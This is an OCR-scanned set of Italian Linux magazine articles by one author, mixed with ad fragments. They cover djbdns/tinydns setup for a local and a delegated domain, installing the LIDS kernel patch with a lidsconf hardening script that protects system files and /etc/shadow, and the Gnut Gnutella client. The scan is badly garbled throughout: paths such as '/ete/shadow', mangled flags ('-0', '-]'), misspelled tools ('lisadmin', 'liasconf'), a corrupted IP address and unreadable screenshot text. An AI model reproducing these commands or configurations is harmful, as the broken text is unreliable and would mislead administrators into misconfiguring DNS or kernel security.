mente richieste di tipo 
UDP. 


Configurazione 
del tinydns 


Configuriamo ora il DNS 
per una piccola rete locale 
(192.168.0.0/24) avente al 
suo interno tre macchine, 
come visibile in figura, 
supponendo di voler 
creare un dominio privato 
con estensione .tux 
Anzitutto andiamo nella 
directory /etc/tinydns/root 


cd /ete/tinydns/root/ 


portatile tux- 102.109.0.5 


qui troveremo diversi file, 
tra cui il file data con il 
nostro editor di testo 
preferito aggiungiamo a 
mano la seguente riga: 


.tux:192.168.0.1 
.0.168.192.in-addr.ar- 
pa:192.168.0.1 


Salviamo quindi il file così 
editato e lanciamo, nella 


stessa directory, i comandi: 


./add-host linux.tux 
192.168.0.2 
./add-alias alias.linux.tux 
192.168.0.2 

./add-mx linux.tux 
192.168.0.3 

./add-host printer.tux 
192.168.0.2 

./add-host portatile.tux 
192.168.0.2 

./add-host ns.tux 
192.168.0.1 

make 


Avremo a questo punto 
creato la versione 
compilata (data.cdb) del 
file di zona data che 
conterrà i record inseriti 
precedentemente. 
Ricordandoci sempre di 
settare come nameserver 
nei vari client il 792.7168.0.1 
sarà possibile, tramite i 
soliti strumenti (host, dig) 
verificare il corretto 
funzionamento della 
nostra configurazione. 


Cache DNS 


e TinyDNS 
sulla stessa rete 


Se intende avviare sulla 
stessa rete sia la cache 
DNS che il tinydns allora 
sara necessario eseguire il 


seguente comando sul 
computer dove viene 
eseguita la cache: 


touch /etc/dnscachex/ 
root/servers/tux 

touch /etc/dnscachex/ 
root/servers/0.168.192. 
in-addr.arpa 


ed inserire in entrambi 
l'indirizzo del nameserver 
interno, che nel nostro 
caso risulta essere: 


192.168.0.1 


In tal modo la cache sarà 
informata che ogni 
richiesta per il dominio 
.tux deve essere inoltrata 
alla macchina 192.168.0.1 


Conclusioni 


In questa prima parte 
abbiamo visto come 
installare il djbdns e come 
avviare un insieme minimo 
di servizi che ci 
consentono comunque di 
gestire una piccola rete 
locale a livello di servizi 
DNS. Nella seconda parte 
vedremo come configurare 
un server DNS per un 
dominio “Internet”, 
avendo ottenuto la delega 
di questo dominio da parte 
di un altro DNS server e, 
inoltre, impareremo ad 
utilizzare gli altri tool che il 
dott. Bernstein ci lascia a 
disposizione. 
Infine nella terza ed ultima 
parte andremo ad 
esaminare i diversi tool 
che permettono di 
semplificare 
l'amministrazione di 
djbdns e di aumentarne le 
funzionalità. 

Saverio Salatino 
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LIMUX: intrusi 
n Detection 


System 


Uno sguardo ad una delle più famose patch di sicurezza per il kernel: LIDS. 


i svegliate la 
notte 
preoccupati che 
le vostre 


macchine linux possano 
essere compromesse? 
Siete terrorizzati che 
possano essere utilizzate 
come teste di ponte per 
altri attacchi, che le 
vostre pagine siano 
modificate e le vostre 
informazioni riservate 
carpite? Avete un 
gruppo di macchine 
liberamente disponibili 
per l'accesso fisico da 
parte di terzi e non 
potete tenerle sempre 
sott'occhio? Pensate che 


i sistemi di sicurezza 
implementati nel kernel 
siano insufficienti per le 
vostre necessità? 

Una delle risposte a 
queste domande può 
essere il LIDS, ovvero il 
Linux Intrusion 
Detection System. 
Questa è una patch per 
il kernel rilasciata per la 
prima volta da Huagang 
Xie il 15 settembre 1999. 
In breve tempo altri 
sviluppatori, attirati 
dalla buona idea, si 
sono uniti al progetto ed 
hanno fatto sì che il 
codice venisse 
aggiornato 


costantemente ad ogni 
rilascio del kernel, che le 
opportune correzioni 
venissero effettuate 
ogniqualvolta venissero 
scoperti dei bug 
all'interno del codice e 
che nuove funzionalità 
venissero implementate 
di volta in volta, il tutto 
sotto forma di codice 
GPL, nel pieno spirito 
del modello di sviluppo 
di software open-source. 
Tanto premesso 
cominciamo con il dire 
che il LIDS implementa 
all'interno del kernel un 
reference monitor e il 
MAC (Mandatory Access 


Control). Risulta perciò 
possibile controllare in 
maniera fine 
l'esecuzione dei 
programmi,il binding, il 
controllo dei processi, la 
gestione dei permessi 
sui file e il 
depotenziamento 
dell'utenza privilegiata 
(root). In realtà 
l'implementazione MAC 
di LIDS non è una 
implementazione pura, 
ma combinata con il 
sistema DAC 
(Discrectionary Access 
Control) , ovvero il 
classico sistema di 
protezione dei file e 
gestione del sistema con 
una utenza privilegiata 
(root). 


Preinstallazione 


Poiché l'installazione di 
LIDS incide radicalmente 
sull'intero sistema Linux 
e sulla gestione delle 
applicazioni che ci 
girano su, prima di 
iniziare, bisogna 
valutare alcune cose, tra 
cui: 


e Siè in grado di 
ricompilare il kernel e 
risolvere eventuali 
problemi durante la 
compilazione? 


e LIDS corrisponde ai 
reguisiti richiesti di 
sicurezza per 
l'ambiente dove deve 
girare? 


s  Siè certi che la 
macchina non sia già 
stata compromessa? 
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Figura 1 


In evidenza il Linux Intrusion Detection Systems. 


* E’ stato effettuato 
l'hardening del 
sistema? 


e Siè valutata 
attentamente la 
compatibilità tra 
l'installazione di LIDS 
e tutte le applicazioni 
che girano 
abitualmente sulla 
macchina dove deve 
essere installata? 


e Si ha la possibilità di 
eseguire una serie di 
test di verifica? 


Dopo aver valutato 
attentamente le risposte 
date a queste domande 
(che in un ambiente 
ideale dovrebbero 
essere tutte positive) 
sarà possibile procedere 
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alla fase di installazione 
sul nostro sistema. 
Cominciamo pertanto a 
scaricare l'ultima 
versione utile del lids 
per il nostro kernel dal 
sito ufficiale 
(http://www.lids.org ) e 
verifichiamo di avere a 
disposizione tutti gli 
strumenti necessari per 
procedere alla 
compilazione. 


Installazione 


Per l'installazione del 
LIDS avete anzitutto 
bisogno di un kernel 
‘vanilla’ ovvero di un 
kernel che non sia stato 
modificato rispetto al 


rilascio ufficiale di 
Torvald. Pertanto, se 
siete in possesso di una 
versione modificata dei 
sorgenti, rilasciata con 
la vostra installazione 
(Debian, Mandrake, Red- 
Hat, Suse, ecc.), 
scaricate l’ultima 
versione del kernel dal 
sito ufficiale 
(ovviamente 
http//\www.kernel.org) 
oppure da uno dei suoi 
mirror.Una volta 
scaricati kernel e patch 
decomprimeteli 
entrambi sotto /usr/src 
quindi provvedete ad 
installare la patch 
tramite il comando: 


cd /usr/src/linux/ 
patch -pl < /usr/src/ 
lids-0.10.4-2.2.20/lids- 
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Port Scanner Detector in kernel _(NEW) 
d through network 


Figura 2 


Abbiamo selezionato l'opzione di Port Scanner Detector in kernel. 


0.10.4-2.8.20.patch 


make menuconfig 


A questo punto comin- 
cia la configurazione 
vera a propria del ker- 
nel. Dalle scelte che 
effettuerete in questo 
punto dipenderanno poi 
la possibilità che vi ver- 
ranno offerte in fase di 
configurazione dell’am- 
biente. 

Nelle Figure 1 e 2 potete 
vedere alcune delle 
schermate che si pre- 
senteranno durante l’in- 
stallazione. 

Anzitutto dovrete abilita- 
re le seguenti opzioni 
per far sì che si attivi il 
menù del LIDS: 


[*] Prompt for 
development and/or 


NEW 


S 0 TT 


incomplete 
code/drivers 


[*] Sysctl support 


ed eventualmente 
anche: 


[*] Support for console on 
serial port 


Dopo aver attivato 
queste opzioni apparirà 
nel menu principale di 
configurazione, anche la 
scelta "Linux Intrusion 
Detection System". 


[*] Linux Intrusion 
Detection System support 
(EXPERIMENTAL) (NEW) 


All'interno di questo 
menù attivate almeno le 
scelte: 


[*] Security alert when 
execing unprotected pro- 
grams before sealing 
LIDS (NEW) 


[*] Try not to flood logs 
(NEW) 

[*] Allow switching LIDS 
protections (NEW) 
(30) Time to wait after a 
fail (seconds) (NEW) 
[*] Allow reloading config. 
file (NEW) 
[*] Port Scanner Detector 
in kernel (NEW) 


Quindi terminate la 
compilazione del kernel 
con: 


make dep 

make clean 

make bzlilo 

make modules 

make modules_insta.ll 


Spostatevi ora nella 
directory dove si 
trovano i sorgenti di 
LIDS e procedete con 
l'installazione degli 
strumenti di 
amministrazione: 


cd /usr/srce/lids 
-0.10.4-2.2.20 

make VIEW=1 

make install 


Attenzione, ancora non 
riavviate la macchina! 
Bisogna anzitutto 
effettuare una 
configurazione di base 
di LIDS, quindi anzitutto 
settare una password: 


/sbin/lidsadm —P 


Poi modificare ad hoc la 
configurazione delle 
Capabilities e modificare 
il file contenente i para- 
metri di configurazione 
delle rete per l'invio del- 
le e-mail di alert, quindi: 


vi /etc/lids/lids.cap 
vi /etc/lids/lias.net 


Verificate quindi il tutto 
con il comando: 


/sbin/lisadmin -L 

e aggiornate la 
configurazione tramite il 
comando 

/sbin/lisadmin -U 
Dovete inoltre 
aggiungere come ultimo 
comando dei vostri 
attuali script d'avvio il 
seguente: 


sbin/lidsadm -I 


Solo a questo punto mo 
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dificate opportunamente 
il file /etc/lilo.conf, ricor- 
dando di mantenere 
sempre la possibilità di 
avviare da un kernel ben 
testato. Date quindi il 
comando: 


/sbin/lilo —v 


controllando che non ci 
sia nessun messaggio 
d'errore. In caso contra- 
rio correggetelo e proce- 
dete. Potete quindi pro- 
cedere ad installare lo 
script standard riportato 
in tabella, reperibile an- 
che sulla LIDS-FAQ in 
versione aggiornata che 
deve essere lanciato do- 
po aver fatto il sealing 
del kernel: 


# Protect System Binaries 
/sbin/lidsconf -A -0 /sbin 
-j READONLY 
/sbin/lidsconf -A -o /bin 
-j READONLY 
# Protect all of /usr and 
/usr/local 
# (This assumes /usr/local 
is on a separate file 
system). 
/sbin/lidsconf -A -o /usr 
-] READONLY 
/sbin/lidsconf -A -0 
/usr/local -; READONLY 
# Protect the System 
Libraries 
#(/usr/lib is protected 
above since /usr/lib 
genera.lly isn't 
# on a separate file 
system than /usr) 
/sbin/lidsconf -A -o /lib 
-] READONLY 
# Protect /opt 
/sbin/lidsconf -A -0 /opt 
-; READONLY 
# Protect System 
Configuration files 
/sbin/lidsconf -A -o0 /etc 
-j] READONLY 
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/sbin/lidsconf -A -0 
/usr/local/ete 
-] READONLY 
/sbin/lidsconf -A -0 
/ete/shadow -j DENY 
/sbin/lidsconf -A -0 
/ete/lilo.conf -j DENY 
# Enable system 
authentication 
/sbin/lidsconf -A -s 
/bin/login -0 /etce/shadow 
-j READONLY 
/sbin/lidsconf -A -s 
/usr/bin/vlock -o 
/ete/shadow -j REA- 
DONLY 
/sbin/lidsconf -A -s 
/bin/su -0 /ete/shadow 
- READONLY 
/sbin/lidsconf -A -s 
/bin/su \ -o CAP_SETUID 
- GRANT 
/sbin/lidsconf -A -s 
/bin/su \ -o CAP_SETGID 
-j GRANT 
# Protect the boot 
partition 
/sbin/liasconf -A -0 /boot 
-j READONLY 
# Protect root's home 
dir, but allow bash 
history 
/sbin/lidsconf -A -0 /root 
-j READONLY 
/sbin/lidsconf -A -s 
/bin/bash -o 
/root/.bash_history 
4 WRITE 
# Protect system logs 
/sbin/lidsconf -A 
-0 /var/log 
- APPEND 
/sbin/lidsconf -A -s 
/bin/login -0 
/var/log/wtmp -j WRITE 
/sbin/lidsconf -A -s 
/bin/login -0 
/var/log/lastlog 
4 WRITE 
/sbin/lidsconf -A -s 
/sbin/init -o /var/log/ 
wtmp -j WRITE 
/sbin/lidsconf -A -s 
/sbin/init -0 


/var/log/lastlog 
-j WRITE 
/sbin/lidsconf -A -s 
/sbin/halt -0 
/var/log/wtmp 
-j WRITE 
/sbin/lidasconf -A -S 
/sbin/halt -o 
/var/log/lastlog 
-j WRITE 
/sbin/lidsconf -A -S 
/ete/re.d/rce.sysinit \ 
-o /var/log/wtmp -i l 
-j WRITE 
/sbin/lidsconf -A -S 
/ete/re.d/rc.sysinit \ 
-o /var/log/lastlog -i 1 
-j WRITE 
# Startup 
/sbin/lidsconf -A -s 
/sbin/hwclock -0 
/etc/adjtime -j WRITE 
# Shutdown 
/sbin/lidsconf -A -s 
/sbin/init -0 
CAP_INIT_KILL 
-j] GRANT 
/sbin/lidsconf -A -S 
/sbin/init -o0 CAP_KILL 
-j GRANT 
# Give the following init 
script the proper 
privileges to kill 
processes and 
# unmount the file 
systems. However, 
anyone who can 
execute these scripts 
# by themselves can 
effectively kill your 
processes. 
It's better than 
# the alternative, however. 
# Any ideas on how to 
get around this are 
welcome! 
# 
# ATTENZIONE — 
MODIFICARE CON I 
PROPRI SCRIPT 
DI STOP 
/sbin/lidsconf -A -s 
/ete/re.d/init.d/halt \ 
-0 CAP_INIT_KILL 


-i 1 -j GRANT 
/sbin/liasconf -A -s 
/ete/rc.d/init.d/halt \ 
-0 CAP_RILL 
-il-j GRANT 
/sbin/lidsconf -A -s 
/ete/re.d/init.d/halt \ 
-0 CAP_NET_ADMIN 
-il-j GRANT 
/sbin/lidsconf -A -s 
/ete/re.d/init.d/halt \ 
-0 CAP_SYS_ADMIN 
il - GRANT 
# Other 
/sbin/lidsconf -A -s 
/sbin/update -o 
CAP_SYS_ADMIN 
-j GRANT 


Ora incrociate le dita e 
riavviate la macchina. 


Conclusioni 


Se siete stati 
incredibilmente fortunati 
il sistema è partito 
regolarmente senza 
particolari problemi, 
molto probabilmente 
avrete ricevuto un bel 
po’ di errori e forse 
anche un sistema 
bloccato. 
Purtroppo non è 
possibile esaminare in 
questa sede tutti i 
problemi che possono 
sorgere durante la 
configurazione finale. 
Quest'ultima infatti 
dipende da installazione 
ad installazione. Per 
problemi vi rimando alle 
FAQ ed alla 
documentazione, 
quest'ultima purtroppo 
un po' datata, che è 
possibile reperire sul 
sito del LIDS. 

Saverio Salatino 
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L'attuale corsa al 
mondo desktop di 
Linux, con in testa | 
ben noti windows 
manager KDE e 
GNOME, non deve far 
dimenticare che gran 
parte dei programmi 
disponibili per Linux, e 
per i sistemi UNIX in 
generale, sono presenti 
sotto forma di 
applicativi per console 
testuale. 


Gnut, 


un client testuale 


per Gnutella 


Divertirsi anche in modalità testo: accediamo al mondo del 
P2P tramite il programma Gnut 


Itre alla miriade 
di applicazioni 
dedicate all'am- 
ministrazione del 
sistema, o comunque a 
compiti prettamente tecni- 
ci, sono disponibili nume- 
rosi programmi pensati 
per un uso divertente o 
comunque meno “serio” 
del sistema, senza dover 
necessariamente avere a 
disposizione un terminale 
grafico. Tra questi applica- 
tivi sono presenti anche 
alcuni programmi per il 
networking che utilizzano 
tecnologie di tipo P2P 
(peer to peer). Tutti voi let- 
tori avrete sicuramente 
sentito parlare di Napster 
e, almeno la metà di voi, 


avrà usato in qualche 
occasione programmi per 
la condivisione di file mp3 
o altri formati di file. Un 
sistema basato su tecnolo- 
gia P2P permette la condi- 
visione delle informazioni 
senza doversi appoggiare 
ad una banca dati centrale 
per il mantenimento dei 
dati da recuperare ma, al 
contrario, tramite tecnolo- 
gie opportune, permette di 
recuperare i dati diretta- 
mente dagli host che li 
mettono a disposizione. In 
alcuni casi è possibile che 
esistano ancora dei server 
centrali, dove non vengo- 
no comunque memorizzati 
dati da scambiare, ma 
informazioni che possono 


essere utili per reperire gli 
stessi sui vari host presenti 
in quel momento sulla 
rete. Focalizzeremo ora la 
nostra attenzione sul pro- 
gramma gnut. Questo pro- 
gramma, giunto attual- 
mente alla release 0.4.28 è 
un client testuale per il 
sistema P2P Gnutella ed è 
liberamente scaricabile da: 


http://www.gnutelliums. 
com/linux_unix/gnut/tars/g 
nut-0.4.28.tar.gz 


Procediamo anzitutto con 
l'installazione; dopo averlo 
scaricato provvediamo a 
decomprimerlo e compilar- 
lo per il nostro sistema 
(Riquadro 1) Dopo avere 
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eseguito questi semplici 
passi il binario gnut sarà 
stato installato nella direc- 
tory /usr/local/ bin e, se 
avremo valorizzato 
opportunamente il valore 
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Gnutelliums is a comprehensive directory of Gnutella clients for Windows, Linux/Unix, Java, and Macintosh 


della variabile d'ambiente 
PATH, potremo eseguirlo 
direttamente senza biso- 
gno di dover utilizzare il 
path completo. Avviamo 
pertanto il programma 


connecté.gnutellanetcom:6346 


Serving the Gnutella community since April 2000 


Figura 1 


L’home page del sito http://www.gnutelliums.com. 


tar —xvzf gnut-0.4.8.tar.gz 


cd gnut-0.4.28 
./configure 
make 

make install 


Riquadro i 


Linux/Unix 


Egnut version 0.4.28 at your service 
No hosts — tryng hostcache server 


gnut> 


Riquadro 2 


open gnutellahosts.com:6346 


open router.limewire.com:6346 


open gnetl.ath.cx:6346 
open gnutella.hostscache.com:6346 


Riquadro 3 


dando il comando gnut al 
prompt: 


[/home/edmaster]$ gnut 


e venendoci quindi a trova- 


Advance 
your 
career 
Earna BS in 


Information 
Technology. 


Click now for 


re con un prompt come in 
(Riquadro 2). A questo 
punto il sistema non è 
ancora pronto per essere 
utilizzato. Bisogna infatti 
far conoscere a gnut quali 
sono le macchine a cui 
appoggiarsi per iniziare le 
ricerche in rete. Si digiti 
pertanto uno dei seguenti 
comandi, che permette il 
collegamento alle macchi- 
ne che raccolgono infor- 
mazioni sugli host presenti 
in rete (Riquadro 3). 

Non è necessario digitarli 
tutti, basta lanciarne uno 
solo e, dopo avere riotte- 
nuto il prompt, dare il 
comando update che per- 
mette di richiedere la lista 
aggiornata degli indirizzi 
degli host. Quindi verifica- 


te alcune volte tramite il 
comando info che il nume- 
ro degli HOST STATS sia 
maggiore di 0 e chiudete 
gnut tramite il comando 
exit per fare in modo che 
le informazioni sugli host 
raggiungibili siano salvare 
in </gnut_hosts . A questo 
proposito si ricorda che 
non è affatto consigliabile 
lanciare il programma gnut 
come utente privilegiato 
(root) ma eseguirlo invece 
da utente comune. Ora che 
gnut è pronto per essere 
eseguito potrete rilanciarlo 
ed iniziare a condividere i 
vostri file ed a ricercare 
quello che vi interessa. 
Pertanto, arrivati nuova- 
mente al prompt digitate 
quanto proposto nel 
Riquadro 4. Il comando 
share permette di condivi- 
dere il contenuto delle 
directory indicate come 
suo argomento (più direc- 
tory devono essere separa- 
te dai due punti), mentre il 
comando scan riaggiorna 
le informazioni sui dati 
condivisi ricercando ricor- 
sivamente tutti i dati nelle 
directory indicate dal 
comando share. Si può ora 
iniziare ad eseguire la 
ricerca dei file tramite il 
comando find (Riquadro 5). 
Premete quindi un tasto 
per ritornare al prompt e 
digitate il commando find 
senza alcun argomento per 
avere informazioni circa il 
risultato della vostra query: 


gnut> find 


Osservate che la ricerca 
continua in background su 
tutta la rete gnutella (0 
quasi!). Una volta ottenuto 
il risultato che ci soddisfa, 
segniamoci il numero che 
gli è stato assegnato dal 


gnut>share /home/edmaster/download:/download/pics:/download/sound 


gnut>scan 


Riquadro 4 


gnut> find J.S. Bach 


Searching the gnutella network for: J.S. Bach 


Press any key to continue 
262 responses received. 


Current searches: 
GUID, Num, String 


1457, 290, "J.S. Bach" 


All responses: 


1)$<2>J.S. Bach - 03 - Toccata in D minor, BWV913.mp3$<%> *.*.*. 61:6346 size: 
20.581M speed: 135 rating: ***. 
2)$<2>J.S. Bach - 01 - Toccata in D major, BWV912.mp3$<2> *.*.*. 61:6346 size: 
17.000M speed: 135 rating: ***. 


Riquadro 5 


gnut>info t 
TRANSFER STATS: 


1)#.#.*.61:6346 0.0% 


0/17.000M 


0/sec ETA: Unknown 


TID: 1228807 IN State: CONN Name: $<2>J.S. Bach - 01 - Toccata in D major, 
BWV912.mps$<2> 


. TOTALS: Rate: 


Riquadro 6 


O:0k /sec 


programma nella ricerca e 
procediamo al download. 
Supponiamo che la ricerca 
abbia portato a preferire il 
2 e digitiamo pertanto il 
comando get che farà par- 
tire il download in back- 
ground: 


&nut> get 2 


Per avere informazioni 
sullo stato del download 
utilizziamo il comando 
info tche permette di rac- 
cogliare informazioni circa 
lo stato dei trasferimenti in 
corso (Riquadro 6). 
Ovviamente non sempre è 
possibile scaricare i file 
dagli altri utenti, perchè in 
alcuni casi questi possono 


trovarsi in condizione di 
rete tali (firewall, NAT, 
ecc...) che permettono loro 
semplicemente di scarica- 
re, ma non di fornire all'e- 
sterno i dati da loro condi- 
visi. In alcuni casi è possi- 
bile utilizzare il comando 
push per effettuare il 
download di file altrimenti 
irraggiungibili (in particolar 
modo per le macchine che 
sono dietro NAT). possia- 
mo anche decidere di eli- 
minare una ricerca in corso 
tramite il comando /clear 
che, in base al parametro 
passato, elimina dalla coda 
una delle ricerche 


e gnut> lclear num 
elimina la ricerca aven- 


te GUID pari a num 


e gnut> [clear ‘nome’ 
elimina la ricerca 
riguardante nome 


e gnut> lclear 
ripulisce completamen- 
te la coda delle ricerche 


Infine potrete raffinare le 
vostre ricerche tramite il 
comando forget che per- 
mette di eliminare dalla 
ricerca tutti quei risultati 
che coincidono con il crite- 
rio specificato: 


e gnut> forget “interval- 
lo* elimina dai risultati 
quelli specificati nell'in- 
tervallo numerico (es: 3; 


w a rel 
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4-7; 3,4-7 eliminano 
rispettivamente il terzo 
elemento, gli elementi 
dal quarto al settimo ed 
infine il terzo e gli ele- 
menti dal quarto al set- 
timo) 


e gnut> forget *parola* 
elimina dai risultati tutti 
quelli contenenti la 
stringa specificata 


e. gnut> forget = *nume- 
ro* elimina dai risultati 
tutti quelli aventi la 
stessa dimensione del- 
l'elemento specificato 
dal numero 


e gnut> forget>< 
*numero* (k/M) 
elimina dai risultati 
dutti quelli rispettiva- 
mente maggiori o 
minori della dimensio- 
ne specificata 


Rimangono ancora molti 
comandi da vedere, ma 
purtroppo lo spazio è trop- 
po ridotto per illustrarli 
tutti. Rimane comunque la 
guida in linea del program- 
ma, accessibile tramite i 
comandi: 


gnut> help 
gnut> help nomecomando 


che permettono di ottenere 
rispettivamente informa- 
zioni sui comandi utilizza- 
bili e sulla sintassi dello 
specifico comando. Come 
ultima raccomandazione vi 
prego di prestare particola- 
re attenzione alle vigenti 
leggi riguardanti il diritto 
d'autore e la proprietà 
intellettuale quando scari- 
cate o condivite dei file. 
Detto questo vi auguro 
buon download. 

Saverio Salatino 
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“Come gestire 
“un dominio 


Abbiamo già visto come installare e configurare il djbdns per gestire i servizi di 
dns per una piccola rete locale. Vedremo ora come è possibile utilizzarlo per 


gestire un dominio. 
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ediamo anzitutto 
qual è la 
situazione 
attuale dei 
servizi sulla nostra 
macchina. 
Osserviamo 
rapidamente, come è 
anche possibile vedere in 
Figura 1, che il servizio 
dnscache risulta attivo 
sull'indirizzo 127.0.0.1 
(ovvero l'indirizzo IP 
assegnato all'interfaccia 
di loopback) e che 
accetta sia richieste di 
tipo TCP sia di tipo UDP. 
Invece il servizio tinydns 


che avevamo 
precedentemente 
configurato per gestire il 
nostro dominio 
dimostrativo /inux.tux 
rimane in ascolto 
sull'indirizzo IP 
192.168.0.1 sulla porta 53 
TCP. 

Immaginiamo ora di 
avere acquistato un 
ipotetico dominio 
example.net e di avere 
ottenuto la delega per la 
gestione dello stesso. 
L'amministratore del 
nameserver avrà quindi 
inserito nei propri 


(parte seconda) 


nameserver le 
configurazioni necessarie 
per la concessione della 
delega alla nostra 
macchina, che 
supporremo avere 
indirizzo IP 1.2.3.4.. 
Supponendo di avere 
una ulteriore scheda di 
rete sulla stessa 
macchina 
precedentemente 
descritta, ovvero di aver 
settato un alias sulla 
prima scheda di rete con 
l'IP pubblico, possiamo 
procedere alla seguente 
configurazione. 


Installazione e 
configurazione di 
un dominio 
Internet 


Anzitutto creiamo un 
nuovo servizio tinydns 
che ascolti sull'indirizzo 
IP 1.2.3.4; come abbiamo 
visto nel precedente 
articolo questo è 
possibile tramite i 
seguenti comandi: 


tinydns-conf tinydns 
dnslog /etc/publicdans 
1.2.3.4 

In -s /etc/publicdns 
/service 


Ricordiamo che il primo 
crea la directory dove 
verrà eseguito il chroot 
del servizio mentre il 
secondo fa partire il 
servizio sotto il controllo 
di svscan. Osserviamo in 
Figura 3 la nuova 
configurazione dei servizi 
dove, oltre ai servizi già 
attivati precedentemente 
si vede anche la nuova 
istanza del tinydns che 
rimane in ascolto 
sull'indirizzo ip pubblico. 
saverio@®diab 


nameserver 1 
nameserver 1 


“$ grep name 
0.0.1 
168.8.1 
saverio@diablo:”$ netstat 
Active Internet connections 
Proto Recv-0 Send-0Q 
User Inode 
tep (7 | 127.09.0 
(2) 132 


Local 


udp (1) 
d 131 


127.909.909 
udp [7] 192 


(7) 130 
saverio@diablo: 


Figura 1 
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168. 


Procediamo quindi a 
configurare il tutto per la 
gestione del dominio che 
abbiamo ricevuto in 
delega. La gestione della 
delega avviene sul server 
delegante con le seguenti 
modifiche: 


[Server Tinydns] 
&example.net:1.2.3.4:ns.e 
xample.net 


[Server Bind] 
example.net. IN NS 
ns.example.net 
ns.example.net IN A 
1.R.3.4 


Come nel caso 
precedente bisogna 
inserire nel file 
/etc/publicdns/root/data 
le informazioni 
riguardanti il dominio di 
cui abbiamo ricevuto la 
delega: 


cd /ete/publicdns/root 
./add-ns ns.example.net 

1.2.3.4 
make 


possiamo quindi 
aggiungere ulteriori 
campi alias, host, mx, ns 
come già visto in 
precedenza. 


server 2s0lv. conf 


anteu 


(servers and establi 


1:53 
«1:53 8.0.89.8 


6 : HB.H.b.b 


Il servizio DNScache è attivo sull’indirizzo 127.0.0.1. 


hed) 
Foreign Addre 


0.8.8.0: 


COMANDO 
dnsip 

dnsipq 
dnsname 


SINTASSI 
dnsip fqdn 
dnsipq udn 


dnsmx 
dnstxt 
dnsqr 

dnsq 
dnstrace 
dnstracesort 


dnsmx fqdn 
dnstxt fadn 
dnsqr t fqdn 
dnsq t fadn s 


dnstracesort 


Tabella 1 


dnsname a.b.c.d 


dnstrace t fadnr 


dnsip linux.tux 

dnsipq tux 

dnsname 192.168.0.1 

dnsmx linux.tux 

dnstxt linux.tux 

dnsqr any linux.tux 

dnsq any linux.tux 192.168.0.1 
dnstrace any linux.tux 
dnstracesort < dnstrace.out 


Comandi, sintassi ed esempio di utilizzo. 


DNS Utility 


Assieme al djbdns 
vengono fornite una 
serie di utility che 
permettono di effettuare 
delle query verso un 
server dns senza dover 
utilizzare la sintassi, non 
proprio banale, di dig ed 
host. Inoltre, gli stessi 
sono molto comodi per 
l'utilizzo negli shell script 
in quanto tendono a 
ritornare le informazioni 
sullo standard output in 
un formato molto 
comodo per ulteriori 
manipolazioni. In tabella 
1 è possibile vedere il 
nome di comando e la 
sintassi dello stesso oltre 


a un esempio di utilizzo. 
Vediamo ora comando 
per comando l'utilizzo 
dello stesso. 


dnsip: questo 
comando ritorna 
l'indirizzo ip di un 
nome di dominio 
interrogando i server 
dns specificati nel file 
/etc/resolve.conf . 


dnsipq: questo 
comando ritorna un 
fqdn (fully qualified 
domain name) e 
l'indirizzo ip di un 
host di cui si conosca 
solo il nome breve. E' 
possibile specificare 
più parametri sulla 
riga di comando. 


dnsname: ritorna il 
primo nome di 
dominio ottenuto dal 
riverse lookup 
dell'indirizzo indicato 
come parametro. Se 
non viene trovato 
alcun nome di 
dominio viene 
stampata una linea 
vuota. E’ possibile 
specificare più nomi 
di dominio sulla riga 
di comando. 


saverio@diablo:7$ 
tux 


192.168.808. 


Server: ns 


Address 


linux.tux f 
tux 


Query about 
Tryi ng 
Query 
linux 


linux 
done, 2 answer 
tux 
linux.tux 
Authority 
tux 
Additional 
linux. tux 
ns. tux 
ns. tux 


information: 


information: 


a. Mx 


saverio@diablo:7$ 


vat 


or record 


authori 
8648908 
864890 


259288 
864890 


259280 
86480 


any 


linux. tux 


types 


tative 
IN MX 
IN A 


NS 
A 


A 
A 


ANY 


status: 


192.168.9.1 


Il risultato del comando host - vat any linux.tux 192.168.0.1. 


diablo:”$ host 
rver: n 


Addre 


verio 


ribout inux. le Ed 
linux 


Query 
Trying 
Query 
linux, tux 


lone 


linux, tux 
Authority 
tux 
Additional 
linux, tux 
n tux 


information 


information 


a. Mx 


n tux 


erio@diablo 


vat any 


}r recor 


authoritative 


86480 
864808 


2592080 
864080 


259288 
86400 


La nuova configurazione dei servizi. 
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dnsmx: viene 
ritornato il campo mx 
del nome di dominio 
indicato come 
parametro, ovvero un 
nome di dominio 
creato artificialmente 
basandosi sui dati 
recuperati se non 


i linux, tux 


"d types ANY 


IN MX 
IN A 
IN 
IN 


IN 
IN 


status: 


no 


error 
CR 
192. 168.9.2 


tux 


ns.tux 


192. 168.8. 
192. 168.80. 
192. 168.90. 


192.168.8.1 


error 
8 a.mx.linux. tux 
192. 168.0.2 


ns. tux 
192, 168. 


192. 168. 
192.168. 


esiste alcun campo 
mx sul server DNS. 


dnstxt: questo 
comando ritorna il 
record txt del nome di 
dominio indicato su 
una sola linea oppure 
una riga vuota se non 


è presente alcun 
record di questo tipo. 


dnsqr: viene 
ritornato il record 
indicato nel 
parametro t del nome 
di dominio indicato 
come parametro fqdn, 


il parametro t può 
essere passato in 
forma numerica o in 
una delle forme a, 
any, Mx, txt, aaaa, ns, 
cname, soa, hinfo, rp, 
sig, key, axfr. 


e dnsq: viene ritornato 
il record indicato nel 
parametro t del nome 
di dominio indicato 
come parametro fqdn 
ottenuto interrogando 
il server s tramite una 
query non ricorsiva. 


e dnstracesort: 
reindirizzandogli 
l'output di dnstrace, 
che conviene 
comunque prima 
ridirigere su file, in 
quanto tende ad 
essere generalmente 
piuttosto corposo, 
converte il risultato in 
una forma 
comprensibile. 


Ulteriori 
riferimenti 


A tutti gli interessati 
consiglio di andare sul 
sito del djbdns 
(http://cr.yp.to/djbdns. 
html) dove è possibile 
trovare molte altre 
informazioni sul 
programma e sul servizio 
DNS in generale. 
Consiglio inoltre la 
lettura del TCP/IP 
Illustrated Vol. 1 di 
Stevens, che sebbene un 
po' datato, riporta utili 
informazioni anche sul 
protocollo DNS. 

Saverio Salatino 
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2 CD-Rom, pieni zeppi di software. 
Oltre 1.2 Gb, oltre 300 nuovissimi 
software, più di 50 programmi 
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quella fotografica, i Top Software e 
tutta la linfa vitale per il tuo pc 
direttamente da internet. 
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2 Java 2 
Platform 


La piattaforma Java 2, è ben noto, ha rivoluzionato il mondo dell'informatica grazie 
all'introduzione di un ambiente di sviluppo ed esecuzione stabile e sicuro, pensato 
per ogni tipologia di applicazione, da quella più semplice funzionante sul singolo PC, 
fino a quella più complessa funzionante in un ambiente di rete. Le applicazioni di 
rete sviluppate con la tecnologia Java vengono considerate sicure e la scalabilità 
dei sistemi basati su questa piattaforma è elevatissima. Lo sviluppo tradizionale del 
software è stato abbandonato preferendo fornire una totale compatibilità tra 
